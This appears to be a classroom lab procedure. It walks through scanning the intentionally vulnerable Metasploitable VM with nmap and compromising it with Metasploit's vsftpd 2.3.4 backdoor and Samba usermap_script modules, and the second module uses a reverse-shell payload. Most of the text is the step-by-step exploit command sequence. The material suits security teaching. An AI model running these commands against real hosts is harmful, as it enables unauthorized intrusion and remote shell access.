

Exp-8 Procedure

- Download metasploit, open metasploit in the virtual machine and power on. login: msfadmin, password: msfadmin
- Enter "ifconfig" command to get IP address of metasploit OS.
- Next open nmap tool and Enter IP address of metasploit in Target field and select Intense scan, all TCP Ports and Scan.

- Next open Kali linux and enter
 - > nmap -v -A IP Address of metasploit
 - > msfconsole
 - > search vsftpd

Matching Modules

#	Name
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0	
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1	exploit/unix/ftp/vsftpd_234_backdoor
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> use exploit/unix/ftp/vsftpd_234_backdoor

> info

> set RHOST IP Address of metasploit

> info

> show payloads

Compatible Payloads

#	Name
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0	payload/cmd/unix/interact
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> set payload/cmd/unix/interact

> exploit

Abort session 1? [y/N] y

- > exit
- > msfconsole
- > search ~~ssh~~ samba
- > search 3.0.20

Matching Modules

#	Name
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0	
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	exploit/multi/samba/usermap-script
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- > use exploit/multi/samba/usermap-script
- > info
- > set RHOST IP Address of Metasploit
- > info
- > show payloads

Compatible Payloads

#	Name
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1	
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20	
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	payload/cmd/unix/reverse
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- > set payload/cmd/unix/reverse
- > exploit
- > exit